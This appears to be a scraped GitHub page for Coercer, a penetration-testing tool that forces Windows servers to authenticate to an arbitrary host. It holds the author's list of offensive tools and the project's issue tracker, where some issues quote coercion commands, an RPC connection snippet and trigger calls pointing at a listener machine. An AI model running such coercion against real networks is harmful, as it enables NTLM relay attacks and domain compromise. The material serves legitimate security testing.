p0dalirius / coercer

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.

I'm a French Security Researcher and Microsoft MVP in Security. I specialize in finding vulnerabilities in various environments, including Windows, Active Directory, and web applications. With a passion for tinkering with undefined behaviors in computers, I have published 101 open-source security tools so far, and there are many more to come! 🥳

If any of my tools have been helpful to you, please consider sponsoring my work. Sponsorship will support the costs of my projects, including server expenses, mainframe restoration, and research materials. You can support me through GitHub Sponsors https://github.com/sponsors/p0dalirius or through Patreon: https://www.patreon.com/podalirius

As part of my dedication to security, I actively report vulnerabilities I discover. To date, I have reported and responsibly disclosed 10 security vulnerabilities found in the wild. I have also received 6 CVEs (CVE-2020-16147, CVE-2020-16148, CVE-2021-43008, CVE-2022-26159, CVE-2022-29710, CVE-2022-30780), with 2 more awaiting release.

My Badges

---

Summary of my tools

Active Directory tools

• AccountShadowTakeover: A python script to automatically add a KeyCredentialLink to newly created users, by quickly connecting to them with default credentials.
• Coercer: A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.
• DomainUsersToXLSX: Extract all users from an Active Directory domain to an Excel worksheet.
• DumpSMBShare: A script to dump files and folders remotely from a Windows SMB share.
• ExtractBitlockerKeys: A post-exploitation python script to automatically extract the bitlocker recovery keys from a domain.
• FindUncommonShares: A Python tool allowing to quickly find uncommon shares in vast Windows Domains.
• GeoWordlists: GeoWordlists is a tool to generate wordlists of passwords containing cities at a defined distance around the client city.
• ldap2json: The ldap2json script allows you to extract the whole LDAP content of a Windows domain into a JSON file.
• ldapconsole: The ldapconsole script allows you to perform custom LDAP requests to a Windows domain.
• LDAPmonitor: Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
• LDAPWordlistHarvester: A tool to generate a wordlist from the information present in LDAP, in order to crack passwords of domain accounts.
• MSRPRN-Coerce: A python script to force authentification using MS-RPRN RemoteFindFirstPrinterChangeNotificationEx function (opnum 69).
• pydsinternals: A Python native library containing necessary classes, functions and structures to interact with Windows Active Directory.
• pyLAPS: Python setter/getter for property ms-Mcs-AdmPwd used by LAPS.
• TargetAllDomainObjects: A python wrapper to run a command on against all users/computers/DCs of a Windows Domain.

Web exploitation tools

• ApacheTomcatScanner: A python script to scan for Apache Tomcat server vulnerabilities.
• Awesome-RCE-techniques: Awesome list of techniques to achieve Remote Code Execution on various apps!
• crawlersuseragents: Python script to check if there is any differences in responses of an application when the request comes from a search engine's crawler.
• CodeIgniter-session-unsign: Command line tool to fetch, decode and brute-force CodeIgniter session cookies by guessing and bruteforcing secret keys.
• FindAzureDomainTenant: A Python script to find tenant id an region from a list of domain names.
• http-fuzzing-scripts: A collection of http fuzzing python scripts to fuzz HTTP servers for bugs.
• ipsourcebypass: This Python script can be used to bypass IP source restrictions using HTTP headers.
• Joomla-1.6-1.7-2.5-Privilege-Escalation-Vulnerability: A Python script to create an administrator account on Joomla! 1.6/1.7/2.5 using a privilege escalation vulnerability.
• LFIDump: A simple python script to dump remote files through a local file read or local file inclusion web vulnerability.
• LootApacheServerStatus: A script to automatically dump all URLs present in /server-status to a file locally.
• mercurial-scm-extract: A tool to extract and dump files of mercurial SCM exposed on a web server.
• owabrute: Hydra wrapper for bruteforcing Microsoft Outlook Web Application.
• RDWArecon: A python script to extract information from a Microsoft Remote Desktop Web Access (RDWA) application.
• robotstester: This Python script can enumerate all URLs present in robots.txt files, and test whether they can be accessed or not.
• robotsvalidator: The robotsvalidator script allows you to check if URLs are allowed or disallowed by a robots.txt file.
• TimeBasedLoginUserEnum: A script to enumerate valid usernames based on the requests response times.
• webapp-wordlists: This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

Web shells

• JoGet-plugin-webshell: A webshell plugin and interactive shell for pentesting JoGet application.
• LimeSurvey-plugin-webshell: A webshell plugin and interactive shell for pentesting JoGet application.
• Moodle-webshell-plugin: A webshell plugin and interactive shell for pentesting a Moodle instance.
• Tomcat-application-webshell: A webshell application and interactive shell for pentesting Apache Tomcat servers.

Vulnerability exploits

• RemoteMouse-3.008-Exploit: This exploit allows to connect to the remote RemoteMouse 3.008 service to virtually press arbitrary keys and execute code on the machine.
• CVE-2016-10956-mail-masta: MailMasta wordpress plugin Local File Inclusion vulnerability (CVE-2016-10956).
• CVE-2020-14144-GiTea-git-hooks-rce: A script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks.
• CVE-2021-43008-AdminerRead: Exploit tool for Adminer 1.0 up to 4.6.2 Arbitrary File Read vulnerability.
• CVE-2022-21907-http.sys: Proof of concept of CVE-2022-21907 Double Free in http.sys driver, triggering a kernel crash on IIS servers
• CVE-2022-26159-Ametys-Autocompletion-XML: A python exploit to automatically dump all the data stored by the auto-completion plugin of Ametys CMS to a local sqlite database file.
• CVE-2022-30780-lighttpd-denial-of-service: CVE-2022-30780 - lighttpd remote denial of service
• CVE-2022-36446-Webmin-Software-Package-Updates-RCE: A Python script to exploit CVE-2022-36446 Software Package Updates RCE (Authenticated) on Webmin < 1.997.

Windows

• pdbdownload: A Python script to download PDB files associated with a Portable Executable (PE).
• hivetools: A collection of python scripts to work with Windows Hives.
• msFlagsDecoder: Decode the values of common Windows properties such as userAccountControl and sAMAccountType.
• MSSQL-Analysis-Coerce: A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.
• OffensiveBatchScripts: Offensive batch scripts.
• SortPEbyVersions: A Python script to sort Portable Executable (PE) files by their version and download debug symbols if existing.
• SortWindowsISOs: Extract the windows major and minor build numbers from an ISO file, and automatically sort the iso files.
• win32errorcodes: A small C/C++ library to lookup Windows error codes.

Data & Researches

• DescribeNTSecurityDescriptor: A python tool to parse and describe the contents of a raw ntSecurityDescriptor structure.
• linux-kernels: List of linux kernel versions in JSON.
• microsoft-rpc-fuzzing-tools: This repository contains a list of python scripts to work with Microsoft RPC for research purposes.
• volatility3-symbols: Memory mapping profiles for forensic analysis using volatility 3.
• volatility2docker: A volatility 2 docker for forensic investigations.
• volatility2-profiles: Memory mapping profiles for forensic analysis using volatility 2.
• WindowsBuilds: This repository contains the list of windows builds as parsable JSON files.
• windows-coerced-authentication-methods: A list of methods to coerce a windows machine to authenticate to an attacker-controlled machine through a Remote Procedure Call (RPC) with various protocols.

Other

• Argon2Cracker: A multithreaded bruteforcer of argon2 hashes.
• ctfd-parser: A python script to dump all the challenges locally of a CTFd-based Capture the Flag.
• CpuCoresTemperatureGraph: A python tool to print CPU core temperatures for each cores.
• factorizator: A script to factorize integers with sagemath and factordb.
• GetFortinetSerialNumber: A Python script to extract the serial number of a remote Fortinet device.
• GithubBackupAllRepos: A Python script to backup all repos (public or private) of a user.
• Hashes-Harvester: Automatically extracts NTLM hashes from Windows memory dumps.
• hexcat: A tool to show only printable characters of a file.
• objectwalker: A python module to explore the object tree to extract paths to interesting objects in memory.
• ParseFortinetSerialNumber: A Python script to parse Fortinet products serial numbers, and detect the associated model and version.
• python_packages_paths: This repository contains paths to python modules from inside python modules.
• pwndocapi: A python library to interact with Pwndoc instances for pentest reports generation.
• pdsimage-downloader: A python script to filter by filename and download PDS images.
• streamableDownloader: A simple python script to download videos hosted on streamable from their link.
• wav2mmv: WAV to MMV converter. You can then use the MMV file in input of MSSTV to decode Slow Scan Television (SSTV) sound signals.
• WifiListProbeRequests: Monitor 802.11 probe requests from a capture file or network sniffing!

coercer's Issues

[enhancement] Adding MS-EFSR - EfsRpcFileKeyInfo (opnum 12) method

[enhancement] Add message to explicitly say when user is not authenticated

[enhancement] \PIPE\efsrpc interface

Hello.
Currently coercer supports the following rpc interfaces:

/opt/Coercer/coercer/protocols(master) » grep -r uuid
MS_EFSR.py:    uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
MS_FSRVP.py:    uuid = "a8e0653c-2744-4389-a61d-7373df8b2292"
MS_RPRN.py:    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
MS_DFSNM.py:    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"

However there is exists one more interface (in PetitPotam):

            'efsr': {
                'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
                'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
            },

[enhancement] Add option to choose a specific method / protocol

[enhancement] Adding MS-EFSR - EfsRpcOpenFileRaw (opnum 0) method

Fuzz mode doesn't run

Due to this line giving the wrong arguments to the try_login function, the fuzz mode does not work for me:

Coercer/coercer/__main__.py

Line 209 in 5dbffc1

if try_login(credentials, target, options):

└─$ ./Coercer.py fuzz -u tmassie -p 'stronpassword' -d winattacklab.local -t 10.0.1.100
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.2-blackhat-edition
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting fuzz mode
[info] Fuzzing target 10.0.1.100
[!] Could not login as 'tmassie' with these credentials on '10.0.1.100'.
  | Error: int() argument must be a string, a bytes-like object or a real number, not 'Namespace'
[+] All done! Bye Bye!                                   

Thanks for the cool tool :)

[enhancement] Adding MS-FSRVP - IsPathSupported (opnum 8) method

[enhancement] Add message if we cannot listen in scan mode (not root or other server running?)

[enhancement] Adding MS-EFSR - EfsRpcDecryptFileSrv (opnum 5) method

[enhancement] Add option --stop-at-first-working-call

[enhancement] Add ProxyLogon coerce methods

[enhancement] Adding MS-EFSR - EfsRpcQueryRecoveryAgents (opnum 7) method

[bug] Kerberos authentification

Kerberos auth. doesn't seem to be implemented?

[bug] HTTP Authentications works in ntlmrelay from Coercer in coerce mode, but not detected by Coercer in scan and fuzz modes

HTTP Authentications works in ntlmrelay

ntlmrelay.mp4

but not detected by Coercer in scan and fuzz modes

Follow up on #40 by @jsdhasfedssad

Add support for webdav authentications

Fix MS-PAR and MS-RPRN authentications

[enhancement] Refactor the code base to simplify adding new calls

[enhancement] Adding MS-EFSR - EfsRpcQueryUsersOnFile (opnum 6) method

[enhancement] Add WSPCoerce

See https://github.com/slemire/WSPCoerce

Thanks for the awesome tool :)

[enhancement] Add PrivExchange

It is only relevant for exchange servers: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
If you want to keep the core checks clean from application specific checks that may only work on a small subset of hosts, you may consider to add a switch for extended checks that contains stuff like this or so... I expect the future to bring a lot more of these

[bug] Coercing HTTP to SMB no longer available in version 2.1

Hi again!

You know I love your tool but today when I was attempting to trigger HTTP to SMB authentication using the new version I noticed that the parameter "--webdav-host" no longer exists. I tested to use the NetBIOS name of Responder as input to the parameter "--target" but that only triggered a SMB to SMB authentication.

Yes the role WebDAV was installed on the target DC and the service WebClient was running.

Is there any way to trigger HTTP to SMB authentication in version 2.1? If not I am forced to go back to version 1.6.

Thanks!

[bug] F821 undefined name 'ncan_target'

./coercer/network/DCERPCSession.py:36:52: F821 undefined name 'ncan_target'
            print("   [>] Connecting to %s ... " % ncan_target, end="")
                                                   ^
1     F821 undefined name 'ncan_target'

[bug] module 'coercer.protocols.MS_EFSR' has no attribute 'DCERPCSessionError'

[enhancement] Adding MS-EFSR - EfsRpcEncryptFileSrv (opnum 4) method

[enhancement] Support access to SMB over QUIC (Windows 11 & Windows Server 2022)

Hi,

I see you are planning to add more coercing methods in version 2.0 which is great! Have you heard about NTLMQUIC available and running by default on Windows 11 and Windows Server 2022? TrustedSec describes this in this post and their tools are available here.

Apparently PetitPotam can be used to coerce NTLMQUIC but that also involves additional tools which is not very clean. Is it at all possible to improve this so that all that is needed to coerce NTLMQUIC is your tool? If so, would you be willing to support this?

Thanks!

[bug] Option --filter-pipe-name not working

[enhancement] Support access to RPC over TCP/IP (ncacn_ip_tcp)

Hello.
When 445 and 139 ports closed, we have still can coerce via DCERPC (4915x/tcp):

stringBinding = r'ncacn_ip_tcp:%s[%d]' % (target,port)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_credentials(USERNAME, PASSWORD, DOMAIN, "", "", None)
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
portmap.connect()
portmap.bind(UUID)

[bug] TypeError: NetrDfsAddStdRoot.trigger() takes 2 positional arguments but 3 were given

[+] SMB named pipe '\PIPE\netdfs' is accessible!
   [+] Successful bind to interface (4fc742e0-4a10-11cf-8273-00aa004ae673, 3.0)!
      [>] (-testing-) MS-DFSNM──>NetrDfsAddStdRoot(ServerName='\\192.168.1.27\ujbjOnpm\file.txt\x00') 
Traceback (most recent call last):
  File "/data/git_projects/Coercer/./Coercer.py", line 11, in <module>
    main()
  File "/data/git_projects/Coercer/coercer/__main__.py", line 189, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/data/git_projects/Coercer/coercer/core/modes/coerce.py", line 97, in action_coerce
    result = trigger_authentication(
  File "/data/git_projects/Coercer/coercer/network/authentications.py", line 74, in trigger_authentication
    result_trigger = method_trigger_function(dcerpc_session, target)
TypeError: NetrDfsAddStdRoot.trigger() takes 2 positional arguments but 3 were given```

[enhancement] Adding MS-DFSNM - NetrDfsRemoveStdRoot (opnum 13) method

[bug] Is the Coercer application platform dependent?

I'm trying to run Coercer on Windows but I'm facing with an error:

ModuleNotFoundError: No module named 'fcntl'

Found this question rror-no-module-named-fcntl.

Python 3.9.11 (tags/v3.9.11:2de452f, Mar 16 2022, 14:33:45) [MSC v.1929 64 bit (AMD64)] on win32

> pip list
Package            Version
------------------ -------
cffi               1.15.1
chardet            5.1.0
click              8.1.3
coercer            2.4
colorama           0.4.6
cryptography       39.0.0
dnspython          2.2.1
Flask              2.2.2
future             0.18.2
impacket           0.10.0
importlib-metadata 6.0.0
itsdangerous       2.1.2
Jinja2             3.1.2
ldap3              2.9.1
ldapdomaindump     0.9.4
MarkupSafe         2.1.1
pip                22.3.1
pyasn1             0.4.8
pycparser          2.21
pycryptodomex      3.16.0
pyOpenSSL          23.0.0
setuptools         65.6.3
six                1.16.0
Werkzeug           2.2.2
wheel              0.38.4
XlsxWriter         3.0.6
zipp               3.11.0

[enhancement] Support access to SMB over NetBIOS (139/tcp)

Hello.
Coercing via 139/tcp port like a:

nmblookup 10.0.0.10
echo 10.0.0.10 TARGET >> /etc/hosts
python printerbug.py -port 139 domain/user@TARGET attacker

[enhancement] Add MS-EVEN methods (CheeseOunce)

https://github.com/evilashz/CheeseOunce

[enhancement] Adding MS-FSRVP - IsPathShadowCopied (opnum 9) method

[enhancement] Add documentation of classes and functions in coercer

https://pdoc3.github.io/pdoc/

[enhancement] Adding --filter-pipe-name to filter on SMB named pipes names

Adding --filter-pipe-name to filter on SMB named pipes names

[enhancement] Adding MS-EFSR - EfsRpcDuplicateEncryptionInfoFile (opnum 13) method

[bug] SMB SessionError: STATUS_PIPE_DISCONNECTED

Hi,

I love your tool and I have used it a lot! However, today during testing in my AD lab I suddenly get the error "SMB SessionError: STATUS_PIPE_DISCONNECTED" when attempting to coerce anonymously.

Anonymous coercing has worked before. If I try authenticated coercing against the same DC it partially works. Also note that coercing using MS-RPRN.exe, and I assume authentication via Kerberos, against the same DC still works... As you can see the pipe LSARPC is accessible.

Restarting dc1.adlab.local (10.0.0.200) does not help.

[enchancement] Finish feature to specify listener port

As discussed before, there are these args existing :

Advanced configuration:
  --delay DELAY         Delay between attempts (in seconds)
  --http-port HTTP_PORT
                        HTTP port (default: 80)
  --smb-port SMB_PORT   SMB port (default: 445)

This issue is just to remind you to make sure everything is working on this side 😄 to be sure you can specify another for SMB coerce and WebDav too !

[bug] UnboundLocalError: cannot access local variable 'portmap' where it is not associated with a value

--filter-transport-name msrpc

Command:

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc

root@THOR:/home/podalirius# coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 192.168.1.11
Traceback (most recent call last):
  File "/usr/local/bin/coercer", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/coercer/__main__.py", line 201, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/usr/local/lib/python3.11/dist-packages/coercer/core/modes/coerce.py", line 65, in action_coerce
    for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
                                     ^^^^^^^
UnboundLocalError: cannot access local variable 'portmap' where it is not associated with a value

[enhancement] Add server sink and reporting

[enhancement] Adding MS-EFSR - EfsRpcAddUsersToFileEx (opnum 15) method

Add SpoolSample

Amazing tool.

I didn't see SpoolSample in the list which could be useful to add.

Some implementation are below:

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
https://github.com/BeetleChunks/SpoolSploit
https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc

[enhancement] Adding MS-EVEN - ElfrOpenBELW (opnum 9) method

[enhancement] Check that credentials are valid before trying to coerce

[enhancement] Adding MS-RPRN - RemoteFindFirstPrinterChangeNotificationEx (opnum 65) method

[bug] Got "too many values to unpack" while trying to scan

The problem is in rpc.py:26
_transport, dst = binding.split(":")
one of binding was "ncalrpc:[PRRUniversal#4FAF6D748C97387A:3684]" what causes that error
Fixed with limiting split func to 1 occurence: _transport, dst = binding.split(":", 1)

[enhancement] Add option to automatically continue in coerce mode

[enhancement] Add setup.py installer

[enhancement] Adding MS-DFSNM - NetrDfsAddStdRoot (opnum 12) method

[bug] Coercing through ElfrOpenBELW in \PIPE\eventlog doesn't work.

[+] SMB named pipe '\PIPE\eventlog' is accessible!
   [+] Successful bind to interface (82273fdc-e32a-18c3-3f78-827929dc23ea, 0.0)!
      [!] (NO_AUTH_RECEIVED) MS-EVEN──>ElfrOpenBELW(BackupFileName='\??\UNC\192.168.1.101\r1Qr8iIe\aa')